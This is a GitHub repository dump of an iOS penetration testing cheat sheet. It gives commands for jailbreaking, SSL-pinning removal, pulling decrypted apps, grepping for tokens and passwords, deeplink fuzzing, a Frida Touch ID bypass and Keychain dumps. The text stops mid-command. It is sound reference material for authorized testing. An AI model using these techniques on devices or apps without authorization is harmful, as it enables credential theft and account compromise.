├── .gitattributes ├── LICENSE ├── README.md ├── img ├── 3uTools_sideloading.jpg ├── ReProvision_Reborn_sideloading.jpg ├── anytrans_download.png ├── anytrans_export.png ├── iexplorer.png ├── iexplorer_browse.png ├── sqlite.png ├── unc0ver_jailbreaking.png └── unc0ver_official_website.png └── scripts ├── gcp_firebase.py ├── ios-deeplink-fuzzing.js ├── ios-hook-classes-methods.js └── ios-touch-id-bypass.js /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Ivan Šincek 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # iOS Penetration Testing Cheat Sheet 2 | 3 | This is more of a checklist for myself. May contain useful tips and tricks. **Still need to add a lot of things.** 4 | 5 | Everything was tested on Kali Linux v2023.1 (64-bit) and iPhone 7 with iOS v13.4.1 and unc0ver jailbreak v8.0.2. 6 | 7 | For help with any of the tools type ` [-h | -hh | --help]` or `man `. 8 | 9 | If you didn't already, read [OWAS MASTG](https://mas.owasp.org/MASTG/) \([GitHub](https://github.com/OWASP/owasp-mastg)\) and [OWASP MASVS](https://mas.owasp.org/MASVS/) \([GitHub](https://github.com/OWASP/owasp-masvs)\). You can download OWASP MASTG checklist from [here](https://github.com/OWASP/owasp-mastg/releases). 10 | 11 | I also recommend reading [Hacking iOS Applications](https://web.securityinnovation.com/hubfs/iOS%20Hacking%20Guide.pdf) and [HackTricks - iOS Pentesting](https://book.hacktricks.xyz/mobile-apps-pentesting/ios-pentesting). 12 | 13 | __In most cases, to be eligible for a bug bounty reward, you need to exploit a vulnerability with non-root priviledges, possibly building your own "malicious" app.__ 14 | 15 | Websites that you should use while writing the report: 16 | 17 | * [cwe.mitre.org/data](https://cwe.mitre.org/data) 18 | * [owasp.org/projects](https://owasp.org/projects) 19 | * [owasp.org/www-project-mobile-top-10](https://owasp.org/www-project-mobile-top-10) 20 | * [cheatsheetseries.owasp.org](https://cheatsheetseries.owasp.org/Glossary.html) 21 | * [first.org/cvss/calculator/4.0](https://www.first.org/cvss/calculator/4.0) 22 | * [bugcrowd.com/vulnerability-rating-taxonomy](https://bugcrowd.com/vulnerability-rating-taxonomy) 23 | * [nvd.nist.gov/ncp/repository](https://nvd.nist.gov/ncp/repository) 24 | * [attack.mitre.org](https://attack.mitre.org) 25 | 26 | My other cheat sheets: 27 | 28 | * [Android Testing Cheat Sheet](https://github.com/ivan-sincek/android-penetration-testing-cheat-sheet) 29 | * [Penetration Testing Cheat Sheet](https://github.com/ivan-sincek/penetration-testing-cheat-sheet) 30 | * [WiFi Penetration Testing Cheat Sheet](https://github.com/ivan-sincek/wifi-penetration-testing-cheat-sheet) 31 | 32 | Future plans: 33 | 34 | * install Burp Proxy and ZAP certificates, 35 | * test widgets, push notifications, app extensions, and Firebase, 36 | * deeplink hijacking, 37 | * WebView attacks, 38 | * disassemble, reverse engineer, and resign an IPA, 39 | * future downgrades using SHSH BLOBS. 40 | 41 | ## Table of Contents 42 | 43 | **0. [Install Tools](#0-install-tools)** 44 | 45 | * [Jailbreaking an iOS Device](#jailbreaking-an-ios-device) 46 | * [Cydia Sources and Tools](#cydia-sources-and-tools) 47 | * [SSL Kill Switch 2](#ssl-kill-switch-2) 48 | * [Kali Linux Tools](#kali-linux-tools) 49 | * [Mobile Security Framework (MobSF)](#mobile-security-framework-mobsf) 50 | 51 | **1. [Basics](#1-basics)** 52 | 53 | * [Install/Uninstall an IPA](#installuninstall-an-ipa) 54 | * [SSH to Your iOS Device](#ssh-to-your-ios-device) 55 | * [Download/Upload Files and Directories](#downloadupload-files-and-directories) 56 | 57 | **2. [Inspect an IPA](#2-inspect-an-ipa)** 58 | 59 | * [Pull a Decrypted IPA](#pull-a-decrypted-ipa) 60 | * [Binary](#binary) 61 | * [Info.plist](#infoplist) 62 | * [AnyTrans](#anytrans) 63 | 64 | **3. [Search for Files and Directories](#3-search-for-files-and-directories)** 65 | 66 | * [NSUserDefaults](#nsuserdefaults) 67 | * [Cache.db](#cachedb) 68 | 69 | **4. [Inspect Files](#4-inspect-files)** 70 | 71 | * [Single File](#single-file) 72 | * [Multiple Files](#multiple-files) 73 | * [File Scraper](#file-scraper) 74 | * [SQLite 3](#sqlite-3) 75 | * [Property Lister](#property-lister) 76 | * [Nuclei](#nuclei) 77 | * [Backups](#backups) 78 | 79 | **5. [Deeplinks](#5-deeplinks)** 80 | 81 | **6. [Frida](#6-frida)** 82 | 83 | * [Frida Scripts](#frida-scripts) 84 | 85 | **7. [Objection](#7-objection)** 86 | 87 | * [Bypasses](#bypasses) 88 | 89 | **8. [Repackage an IPA](#8-repackage-an-ipa)** 90 | 91 | **9. [Miscellaneous](#9-miscellaneous)** 92 | 93 | * [Monitor the System Log](#monitor-the-system-log) 94 | * [Monitor File Changes](#monitor-file-changes) 95 | * [Dump the Pasteboard](#dump-the-pasteboard) 96 | * [Get the Provisioning Profile](#get-the-provisioning-profile) 97 | 98 | **10. [Tips and Security Best Practices](#10-tips-and-security-best-practices)** 99 | 100 | **11. [Useful Websites and Tools](#11-useful-websites-and-tools)** 101 | 102 | ## 0. Install Tools 103 | 104 | ### Jailbreaking an iOS Device 105 | 106 | **Jailbreaking an iOS device will void its warranty. I have no [liability](https://github.com/ivan-sincek/ios-penetration-testing-cheat-sheet/blob/main/LICENSE) over your actions.** 107 | 108 | Jailbreak your iOS device using [AltStore](https://altstore.io) and [unc0ver](https://unc0ver.dev) jailbreak. 109 | 110 | Follow [AltStore Docs](https://faq.altstore.io) to install AltStore on your PC. 111 | 112 | \[Optional\] Fix the sideloading [issue](https://github.com/altstoreio/AltStore/issues/156#issuecomment-717133644) when installing AltStore on your iOS device. You can also use AltStore to install many other cool apps. 113 | 114 | On your iOS device, open Safari, go to [unc0ver.dev](https://unc0ver.dev), and press on `Open in AltStore`. Make sure your antivirus is disabled because it will flag unc0ver IPA as a malware and delete it from your PC. 115 | 116 |

unc0ver Official Website

117 | 118 |

Figure 1 - unc0ver Official Website

119 | 120 | Open unc0ver, open the settings in the top-left corner, select it as in the image below, and run the jailbreak. 121 | 122 |

unc0ver Jailbreak

123 | 124 |

Figure 2 - unc0ver Jailbreak

125 | 126 | --- 127 | 128 | If you don't mind sending logs to China, you can also try using [3uTools](https://www.3u.com), it is very easy to use. 129 | 130 | ### Cydia Sources and Tools 131 | 132 | Add the following sources to Cydia: 133 | 134 | * [build.frida.re](https://build.frida.re) 135 | * [cydia.akemi.ai](https://cydia.akemi.ai) 136 | * [repo.co.kr](https://repo.co.kr) 137 | * [havoc.app](https://havoc.app) 138 | * [julioverne.github.io](https://julioverne.github.io) 139 | 140 | Install required tools on your iOS device using Cydia: 141 | 142 | * A-Bypass 143 | * AppSync Unified 144 | * Cycript 145 | * Cydia Substrate 146 | * Debian Packager 147 | * Frida \([fix for v16+ installation issue](https://github.com/frida/frida/issues/2355#issuecomment-1386757290)) 148 | * nano 149 | * PreferenceLoader 150 | * ReProvision Reborn 151 | * SSL Kill Switch 2 (iOS 13) 152 | * SQLite 3.x 153 | * wget 154 | * zip 155 | 156 | Over time, some apps might start throwing errors due to the new updates, if reinstalling them using Cydian does not solve the issues, then try to uninstall them completely and install them again. 157 | 158 | ### SSL Kill Switch 2 159 | 160 | The following project is the original SSL Kill Switch 2 project which is discontinued and not supported on devices with iOS v13 and grater. To download the most up-to-date project, check the [julioverne.github.io](https://julioverne.github.io) repository in Cydia. 161 | 162 | [SSH](#ssh-to-your-ios-device) to your iOS device, then, download and install [SSL Kill Switch 2](https://github.com/nabla-c0d3/ssl-kill-switch2/releases): 163 | 164 | ```fundamental 165 | wget https://github.com/nabla-c0d3/ssl-kill-switch2/releases/download/0.14/com.nablac0d3.sslkillswitch2_0.14.deb 166 | 167 | dpkg -i com.nablac0d3.sslkillswitch2_0.14.deb 168 | 169 | killall -HUP SpringBoard 170 | ``` 171 | 172 | Uninstall SSL Kill Switch 2: 173 | 174 | ```fundamental 175 | dpkg -r --force-all com.nablac0d3.sslkillswitch2 176 | ``` 177 | 178 | ### Kali Linux Tools 179 | 180 | Install required tools on your Kali Linux: 181 | 182 | ```fundamental 183 | apt-get -y install docker.io 184 | 185 | systemctl start docker 186 | 187 | apt-get -y install ideviceinstaller libimobiledevice-utils libplist-utils nuclei radare2 sqlite3 sqlitebrowser xmlstarlet 188 | 189 | pip3 install frida-tools objection property-lister file-scraper 190 | ``` 191 | 192 | More information about my tools can be found at [ivan-sincek/property-lister](https://github.com/ivan-sincek/property-lister) and [ivan-sincek/file-scraper](https://github.com/ivan-sincek/file-scraper). 193 | 194 | Make sure that Frida and Objection are always up to date: 195 | 196 | ```fundamental 197 | pip3 install --upgrade frida-tools objection 198 | ``` 199 | 200 | ### Mobile Security Framework (MobSF) 201 | 202 | Install: 203 | 204 | ```fundamental 205 | docker pull opensecurity/mobile-security-framework-mobsf 206 | ``` 207 | 208 | Run: 209 | 210 | ```fundamental 211 | docker run -it --rm --name mobsf -p 8000:8000 opensecurity/mobile-security-framework-mobsf 212 | ``` 213 | 214 | Navigate to `http://localhost:8000` using your preferred web browser. Username and password are `mobsf:mobsf`. 215 | 216 | Uninstall: 217 | 218 | ```fundamental 219 | docker image rm opensecurity/mobile-security-framework-mobsf 220 | ``` 221 | 222 | ## 1. Basics 223 | 224 | ### Install/Uninstall an IPA 225 | 226 | Install an IPA: 227 | 228 | ```fundamental 229 | ideviceinstaller -i someapp.ipa 230 | ``` 231 | 232 | Uninstall an IPA: 233 | 234 | ```fundamental 235 | ideviceinstaller -U com.someapp.dev 236 | ``` 237 | 238 | --- 239 | 240 | On your Kali Linux, start a local web server, and put an IPA in the web root directory (e.g., `somedir`): 241 | 242 | ```fundamental 243 | mkdir somedir 244 | 245 | python3 -m http.server 9000 --directory somedir 246 | ``` 247 | 248 | On your iOS device, download the IPA, long press on it, choose "Share", and install it using [ReProvision Reborn](https://havoc.app/package/rpr) iOS app. Jailbreak is required. 249 | 250 |

Sideloading an IPA using ReProvision Reborn

251 | 252 |

Figure 3 - Sideloading an IPA using ReProvision Reborn

253 | 254 | If you have an Apple developer membership, you can code sign your apps for up to 1 year; otherwise, you might have to code sign them every now and then. 255 | 256 | --- 257 | 258 | If you don't mind sending logs to China. Install an IPA using [3uTools](https://www.3u.com) desktop app. Jailbreak is required. 259 | 260 |

Sideloading an IPA using 3uTools

261 | 262 |

Figure 4 - Sideloading an IPA using 3uTools

263 | 264 | ### SSH to Your iOS Device 265 | 266 | ```fundamental 267 | ssh root@192.168.1.10 268 | ``` 269 | 270 | Default password is `alpine`. 271 | 272 | ### Download/Upload Files and Directories 273 | 274 | Tilde `~` is short for the root directory. 275 | 276 | Download a file or directory from your iOS device: 277 | 278 | ```fundamental 279 | scp root@192.168.1.10:~/somefile.txt ./ 280 | 281 | scp -r root@192.168.1.10:~/somedir ./ 282 | ``` 283 | 284 | Upload a file or directory to your iOS device: 285 | 286 | ```fundamental 287 | scp somefile.txt root@192.168.1.10:~/ 288 | 289 | scp -r somedir root@192.168.1.10:~/ 290 | ``` 291 | 292 | Use `nano` to edit files directly on your iOS device. 293 | 294 | ## 2. Inspect an IPA 295 | 296 | ### Pull a Decrypted IPA 297 | 298 | Pull a decrypted IPA from your iOS device: 299 | 300 | ```bash 301 | git clone https://github.com/AloneMonkey/frida-ios-dump && cd frida-ios-dump && pip3 install -r requirements.txt 302 | 303 | python3 dump.py -o decrypted.ipa -P alpine -p 22 -H 192.168.1.10 com.someapp.dev 304 | ``` 305 | 306 | If you want to pull an encrypted IPA from your iOS device, see section [9. Repackage an IPA](#8-repackage-an-ipa) and [AnyTrans](#anytrans). 307 | 308 | To unpack, e.g., `someapp.ipa` or `decrypted.ipa` (preferred), run: 309 | 310 | ```fundamental 311 | unzip decrypted.ipa 312 | ``` 313 | 314 | You should now see the unpacked `Payload` directory. 315 | 316 | ### Binary 317 | 318 | Navigate to `Payload/someapp.app/` directory. There, you will find a binary which have the same name and no file type (i.e., `someapp`). 319 | 320 | Search the binary for specific keywords: 321 | 322 | ```bash 323 | rabin2 -zzzqq someapp | grep -Pi 'keyword' 324 | 325 | rabin2 -zzzqq someapp | grep -Pi 'hasOnlySecureContent|javaScriptEnabled|UIWebView|WKWebView' 326 | ``` 327 | 328 | WebViews can sometimes be very subtle, e.g., they could be hidden as a link to terms of agreement, privacy policy, about the software, referral, etc. 329 | 330 | Search the binary for endpoints, deeplinks, sensitive data, comments, etc. For more examples, see section [4. Inspect Files](#4-inspect-files). 331 | 332 | Search the binary for weak hash algorithms, insecure random functions, insecure memory allocation functions, etc. For the best results, use [MobSF](#mobile-security-framework-mobsf). 333 | 334 | --- 335 | 336 | Download the latest [AppInfoScanner](https://github.com/kelvinBen/AppInfoScanner/releases), install the requirements, and then extract and resolve endpoints from the binary, or directly from the IPA: 337 | 338 | ```fundamental 339 | pip3 install -r requirements.txt 340 | 341 | python3 app.py ios -i someapp 342 | ``` 343 | 344 | ### Info.plist 345 | 346 | Navigate to `Payload/someapp.app/` directory. There, you will find a property list file with the name `Info.plist`. 347 | 348 | Extract URL schemes from the property list file: 349 | 350 | ```bash 351 | xmlstarlet sel -t -v 'plist/dict/array/dict[key = "CFBundleURLSchemes"]/array/string' -nl Info.plist 2>/dev/null | sort -uf | tee url_schemes.txt 352 | ``` 353 | 354 | Search the property list file for endpoints, sensitive data \[in Base64 encoding\], etc. For more examples, see section [4. Inspect Files](#4-inspect-files). 355 | 356 | ### AnyTrans 357 | 358 | Export an IPA using [AnyTrans](https://www.imobie.com/anytrans) desktop app. Excellent for iOS backups too. 359 | 360 |

Download an IPA using AnyTrans

361 | 362 |

Figure 5 - Download an IPA using AnyTrans

363 | 364 |

Export an IPA using AnyTrans

365 | 366 |

Figure 6 - Export an IPA using AnyTrans

367 | 368 | ## 3. Search for Files and Directories 369 | 370 | Search for files and directories from the root directory: 371 | 372 | ```bash 373 | find / -iname '*keyword*' 374 | ``` 375 | 376 | Search for files and directories in the app specific directories (run `env` in [Objection](#7-objection)): 377 | 378 | ```bash 379 | cd /private/var/containers/Bundle/Application/XXX...XXX/ 380 | 381 | cd /var/mobile/Containers/Data/Application/YYY...YYY/ 382 | ``` 383 | 384 | If you want to download a whole directory from your iOS device, see section [Download/Upload Files and Directories](#downloadupload-files-and-directories). 385 | 386 | I preffer downloading the app specific directories, and then doing the [file inspection](#4-inspect-files) on my Kali Linux. 387 | 388 | Search for files and directories from the current directory: 389 | 390 | ```bash 391 | find . -iname '*keyword*' 392 | 393 | for keyword in 'access' 'account' 'admin' 'card' 'cer' 'conf' 'cred' 'customer' 'email' 'history' 'info' 'json' 'jwt' 'key' 'kyc' 'log' 'otp' 'pass' 'pem' 'pin' 'plist' 'priv' 'refresh' 'salt' 'secret' 'seed' 'setting' 'sign' 'sql' 'token' 'transaction' 'transfer' 'tar' 'txt' 'user' 'zip' 'xml'; do find . -iname "*${keyword}*"; done 394 | ``` 395 | 396 | ### NSUserDefaults 397 | 398 | Search for files and directories in [NSUserDefaults](https://developer.apple.com/documentation/foundation/nsuserdefaults) insecure storage directory: 399 | 400 | ```bash 401 | cd /var/mobile/Containers/Data/Application/YYY...YYY/Library/Preferences/ 402 | ``` 403 | 404 | Search for sensitive data in property list files inside NSUserDefaults insecure storage directory: 405 | 406 | ```fundamental 407 | scp root@192.168.1.10:/var/mobile/Containers/Data/Application/YYY...YYY/Library/Preferences/com.someapp.dev.plist ./ 408 | 409 | plistutil -f xml -i com.someapp.dev.plist 410 | ``` 411 | 412 | ### Cache.db 413 | 414 | By default, NSURLSession class stores data such as HTTP requests and responses in Cache.db unencrypted database file. 415 | 416 | Search for sensitive data in property list files inside Cache.db unencrypted database file: 417 | 418 | ```fundamental 419 | scp root@192.168.1.10:/var/mobile/Containers/Data/Application/YYY...YYY/Library/Caches/com.someapp.dev/Cache.db ./ 420 | 421 | property-lister -db Cache.db -o plists 422 | ``` 423 | 424 | Cache.db is unencrypted and backed up by default, and as such, should not contain any sensitive data after user logs out - it should be cleared by calling [removeAllCachedResponses\(\)](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses). 425 | 426 | ## 4. Inspect Files 427 | 428 | Inspect memory dumps, binaries, files inside [an unpacked IPA](#pull-a-decrypted-ipa), files inside the app specific directories, or any other files. 429 | 430 | After you finish testing \[and logout\], don't forget to [download](#downloadupload-files-and-directories) the app specific directories and inspect all the files inside. Inspect what is new and what still persists after the logout. 431 | 432 | **Don't forget to extract Base64 strings from property list files as you might find sensitive data.** 433 | 434 | There will be some false positive results since the regular expressions are not perfect. I prefer to use `rabin2` over `strings` because it can read Unicode characters. 435 | 436 | On your iOS device, try to modify app's files to test the filesystem checksum validation, i.e., to test the file integrity validation. 437 | 438 | ### Single File 439 | 440 | Search for hardcoded sensitive data: 441 | 442 | ```bash 443 | rabin2 -zzzqq somefile | grep -Pi '[^\w\d\n]+(?:basic|bearer)\ .+' 444 | 445 | rabin2 -zzzqq somefile | grep -Pi '(?:access|account|admin|basic|bearer|card|conf|cred|customer|email|history|id|info|jwt|key|kyc|log|otp|pass|pin|priv|refresh|salt|secret|seed|setting|sign|token|transaction|transfer|user)[\w\d]*(?:\"\ *\:|\ *\=).+' 446 | 447 | rabin2 -zzzqq somefile | grep -Pi '[^\w\d\n]+(?:bug|comment|fix|issue|note|problem|to(?:\_|\ |)do|work)[^\w\d\n]+.+' 448 | ``` 449 | 450 | Extract URLs, deeplinks, IPs, etc.: 451 | 452 | ```bash 453 | rabin2 -zzzqq somefile | grep -Po '\w+\:\/\/[\w\-\.\@\:\/\?\=\%\&\#]+' | sort -uf | tee urls.txt 454 | 455 | rabin2 -zzzqq somefile | grep -Po '(?:\b25[0-5]|\b2[0-4][0-9]|\b[01]?[0-9][0-9]?)(?:\.(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)){3}' | sort -uf | tee ips.txt 456 | ``` 457 | 458 | Extract all strings and decode Base64 strings: 459 | 460 | ```bash 461 | rabin2 -zzzqq somefile | sort -uf > strings.txt 462 | 463 | grep -Po '(?:[a-zA-Z0-9\+\/]{4})*(?:[a-zA-Z0-9\+\/]{4}|[a-zA-Z0-9\+\/]{3}\=|[a-zA-Z0-9\+\/]{2}\=\=)' strings.txt | sort -uf > base64.txt 464 | 465 | for string in $(cat base64.txt); do res=$(echo "${string}" | base64 -d 2>/dev/null | grep -PI '[\s\S]+'); if [[ ! -z $res ]]; then echo -n "${string}\n${res}\n\n"; fi; done | tee base64_decoded.txt 466 | ``` 467 | 468 | ### Multiple Files 469 | 470 | Search for hardcoded sensitive data: 471 | 472 | ```bash 473 | IFS=$'\n'; for file in $(find . -type f); do echo -n "\nFILE: \"${file}\"\n"; rabin2 -zzzqq "${file}" 2>/dev/null | grep -Pi '[^\w\d\n]+(?:basic|bearer)\ .+'; done 474 | 475 | IFS=$'\n'; for file in $(find . -type f); do echo -n "\nFILE: \"${file}\"\n"; rabin2 -zzzqq "${file}" 2>/dev/null | grep -Pi '(?:access|account|admin|basic|bearer|card|conf|cred|customer|email|history|id|info|jwt|key|kyc|log|otp|pass|pin|priv|refresh|salt|secret|seed|setting|sign|token|transaction|transfer|user)[\w\d]*(?:\"\ *\:|\ *\=).+'; done 476 | 477 | IFS=$'\n'; for file in $(find . -type f); do echo -n "\nFILE: \"${file}\"\n"; rabin2 -zzzqq "${file}" 2>/dev/null | grep -Pi '[^\w\d\n]+(?:bug|comment|fix|issue|note|problem|to(?:\_|\ |)do|work)[^\w\d\n]+.+'; done 478 | ``` 479 | 480 | Extract URLs, deeplinks, IPs, etc.: 481 | 482 | ```bash 483 | IFS=$'\n'; for file in $(find . -type f); do rabin2 -zzzqq "${file}" 2>/dev/null; done | grep -Po '\w+\:\/\/[\w\-\.\@\:\/\?\=\%\&\#]+' | grep -Piv '\.(css|gif|jpeg|jpg|ogg|otf|png|svg|ttf|woff|woff2)' | sort -uf | tee urls.txt 484 | 485 | IFS=$'\n'; for file in $(find . -type f); do rabin2 -zzzqq "${file}" 2>/dev/null; done | grep -Po '(?:\b25[0-5]|\b2[0-4][0-9]|\b[01]?[0-9][0-9]?)(?:\.(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)){3}' | sort -uf | tee ips.txt 486 | ``` 487 | 488 | Extract all strings and decode Base64 strings: 489 | 490 | ```bash 491 | IFS=$'\n'; for file in $(find . -type f); do rabin2 -zzzqq "${file}" 2>/dev/null; done | sort -uf > strings.txt 492 | 493 | grep -Po '(?:[a-zA-Z0-9\+\/]{4})*(?:[a-zA-Z0-9\+\/]{4}|[a-zA-Z0-9\+\/]{3}\=|[a-zA-Z0-9\+\/]{2}\=\=)' strings.txt | sort -uf > base64.txt 494 | 495 | for string in $(cat base64.txt); do res=$(echo "${string}" | base64 -d 2>/dev/null | grep -PI '[\s\S]+'); if [[ ! -z $res ]]; then echo -n "${string}\n${res}\n\n"; fi; done | tee base64_decoded.txt 496 | ``` 497 | 498 | ### File Scraper 499 | 500 | Automate all of the above file inspection (and more) with a single tool, also using multithreading. 501 | 502 | ```bash 503 | apt-get -y install radare2 504 | 505 | pip3 install file-scraper 506 | ``` 507 | 508 | ```fundamental 509 | file-scraper -dir Payload -o results.html -e default 510 | ``` 511 | 512 | More about my other project at [ivan-sincek/file-scraper](https://github.com/ivan-sincek/file-scraper). 513 | 514 | ### SQLite 3 515 | 516 | Use [SCP](#downloadupload-files-and-directories) to download database files, and then open them using [DB Browser for SQLite](https://sqlitebrowser.org). 517 | 518 | To inspect the content, navigate to `Browse Data` tab, expand `Table` dropdown menu, and select the desired table. 519 | 520 |

SQLite

521 | 522 |

Figure 7 - DB Browser for SQLite

523 | 524 | To inspect/edit database files on your iOS device, use [SQLite 3](#cydia-sources-and-tools); [SSH](#ssh-to-your-ios-device) to your iOS device and run the following commands: 525 | 526 | ```sql 527 | sqlite3 somefile 528 | 529 | .dump 530 | 531 | .tables 532 | 533 | SELECT * FROM sometable; 534 | 535 | .quit 536 | ``` 537 | 538 | [Property Lister](#property-lister) will dump all databases in plain-text automatically. 539 | 540 | ### Property Lister 541 | 542 | Unpack, e.g., `someapp.ipa` or [decrypted.ipa](#pull-a-decrypted-ipa) (preferred). 543 | 544 | Dump all the databases, and extract and convert all the property list files inside an IPA: 545 | 546 | ```fundamental 547 | property-lister -db Payload -o results_db 548 | 549 | property-lister -pl Payload -o results_pl 550 | ``` 551 | 552 | Repeat the same for [the app specific directories](#3-search-for-files-and-directories). 553 | 554 | More about my other project at [ivan-sincek/property-lister](https://github.com/ivan-sincek/property-lister). 555 | 556 | ### Nuclei 557 | 558 | Download mobile Nuclei templates: 559 | 560 | ```fundamental 561 | git clone https://github.com/optiv/mobile-nuclei-templates ~/mobile-nuclei-templates 562 | ``` 563 | 564 | Unpack, e.g., `someapp.ipa` or [decrypted.ipa](#pull-a-decrypted-ipa) (preferred). 565 | 566 | Search for hardcoded sensitive data: 567 | 568 | ```bash 569 | echo Payload | nuclei -t ~/mobile-nuclei-templates/Keys/ -o nuclei_keys_results.txt 570 | 571 | cat nuclei_keys_results.txt | grep -Po '(?<=\]\ ).+' | sort -uf > nuclei_keys_results_sorted.txt 572 | ``` 573 | 574 | ### Backups 575 | 576 | Get your iOS device UDID: 577 | 578 | ```fundamental 579 | idevice_id -l 580 | ``` 581 | 582 | Create a backup: 583 | 584 | ```bash 585 | idevicebackup2 backup --full -u $(idevice_id -l) ./backup 586 | ``` 587 | 588 | App should not backup any sensitive data. 589 | 590 | Restore from a backup: 591 | 592 | ```bash 593 | idevicebackup2 restore -u $(idevice_id -l) ./backup 594 | ``` 595 | 596 | --- 597 | 598 | Browse backups using [iExplorer](https://macroplant.com/iexplorer) (demo) for Windows OS. There are many other iOS backup tools, but they cannot browse app specific directories. 599 | 600 | iExplorer's default directory for storing iOS backups: 601 | 602 | ```fundamental 603 | C:\Users\%USERNAME%\AppData\Roaming\Apple Computer\MobileSync\Backup\ 604 | ``` 605 | 606 | You can place your backups in either this directory or change it in settings. 607 | 608 |

iExplorer

609 | 610 |

Figure 8 - iExplorer

611 | 612 |

Browse a backup using iExplorer

613 | 614 |

Figure 9 - Browse a backup using iExplorer

615 | 616 | ## 5. Deeplinks 617 | 618 | Test [/.well-known/apple-app-site-association](https://developer.apple.com/documentation/xcode/supporting-associated-domains) using [branch.io/resources/aasa-validator](https://branch.io/resources/aasa-validator). 619 | 620 | Sometimes, deeplinks can bypass authentication, including biometrics. 621 | 622 | Create an HTML template to manually test deeplinks: 623 | 624 | ```bash 625 | mkdir ios_deeplinks 626 | 627 | # multiple URL schemes 628 | 629 | for scheme in $(cat url_schemes.txt); do for url in $(cat urls.txt | grep -Poi "${scheme}\:\/\/.+"); do if [[ ! -z $url ]]; then echo -n "${url}\n

\n" | tee -a "ios_deeplinks/${scheme}_deeplinks.html"; fi; done; done 630 | 631 | # single URL scheme 632 | 633 | scheme="somescheme"; for string in $(cat urls.txt | grep -Poi "${scheme}\:\/\/.+"); do echo -n "${string}\n

\n"; done | tee -a "ios_deeplinks/${scheme}_deeplinks.html" 634 | 635 | python3 -m http.server 9000 --directory ios_deeplinks 636 | ``` 637 | 638 | For `url_schemes.txt` see section [Info.plist](#infoplist), and for `urls.txt` see section [4. Inspect Files](#4-inspect-files). 639 | 640 | --- 641 | 642 | Fuzz deeplinks using [ios-deeplink-fuzzing](https://codeshare.frida.re/@ivan-sincek/ios-deeplink-fuzzing) script with [Frida](#6-frida): 643 | 644 | ```fundamental 645 | frida -U -no-pause -l ios-deeplink-fuzzing.js -f com.someapp.dev 646 | 647 | frida -U -no-pause --codeshare ivan-sincek/ios-deeplink-fuzzing -f com.someapp.dev 648 | ``` 649 | 650 | Check the source code for more instructions. You can also paste the whole source code directly into Frida and call the methods as you prefer. 651 | 652 | ## 6. Frida 653 | 654 | Useful resources: 655 | 656 | * [frida.re](https://frida.re/docs/home) 657 | * [learnfrida.info](https://learnfrida.info) 658 | * [codeshare.frida.re](https://codeshare.frida.re) 659 | * [dweinstein/awesome-frida](https://github.com/dweinstein/awesome-frida) 660 | * [interference-security/frida-scripts](https://github.com/interference-security/frida-scripts) 661 | * [m0bilesecurity/Frida-Mobile-Scripts](https://github.com/m0bilesecurity/Frida-Mobile-Scripts) 662 | 663 | List processes: 664 | 665 | ```bash 666 | frida-ps -Uai 667 | 668 | frida-ps -Uai | grep -i 'keyword' 669 | ``` 670 | 671 | Get PID for a specified keyword: 672 | 673 | ```bash 674 | frida-ps -Uai | grep -i 'keyword' | cut -d ' ' -f 1 675 | ``` 676 | 677 | Discover internal methods/calls: 678 | 679 | ```bash 680 | frida-discover -U -f com.someapp.dev | tee frida_discover.txt 681 | ``` 682 | 683 | Trace internal methods/calls: 684 | 685 | ```bash 686 | frida-trace -U -p 1337 687 | 688 | frida-trace -U -p 1337 -i 'recv*' -i 'send*' 689 | ``` 690 | 691 | ### Frida Scripts 692 | 693 | Bypass biometrics using [ios-touch-id-bypass](https://codeshare.frida.re/@ivan-sincek/ios-touch-id-bypass) script: 694 | 695 | ```fundamental 696 | frida -U -no-pause -l ios-touch-id-bypass.js -f com.someapp.dev 697 | 698 | frida -U -no-pause --codeshare ivan-sincek/ios-touch-id-bypass -f com.someapp.dev 699 | ``` 700 | 701 | On the touch ID prompt, press `Cancel`. 702 | 703 | I prefer to use the built-in method in [Objection](#bypasses). 704 | 705 | --- 706 | 707 | Hook all classes and methods using [ios-hook-classes-methods](https://codeshare.frida.re/@ivan-sincek/ios-hook-classes-methods) script: 708 | 709 | ```fundamental 710 | frida -U -no-pause -l ios-hook-classes-methods.js -f com.someapp.dev 711 | 712 | frida -U -no-pause --codeshare ivan-sincek/ios-hook-classes-methods -f com.someapp.dev 713 | ``` 714 | 715 | ## 7. Objection 716 | 717 | Useful resources: 718 | 719 | * [sensepost/objection](https://github.com/sensepost/objection) 720 | 721 | Run: 722 | 723 | ```fundamental 724 | objection -g com.someapp.dev explore 725 | ``` 726 | 727 | Run a [Frida](#6-frida) script in Objection: 728 | 729 | ```fundamental 730 | import somescript.js 731 | 732 | objection -g com.someapp.dev explore --startup-script somescript.js 733 | ``` 734 | 735 | Get information: 736 | 737 | ```fundamental 738 | ios info binary 739 | 740 | ios plist cat Info.plist 741 | ``` 742 | 743 | Get environment variables: 744 | 745 | ```fundamental 746 | env 747 | ``` 748 | 749 | Get HTTP cookies: 750 | 751 | ```fundamental 752 | ios cookies get 753 | ``` 754 | 755 | Dump Keychain, NSURLCredentialStorage, and NSUserDefaults: 756 | 757 | ```fundamental 758 | ios keychain dump 759 | 760 | ios 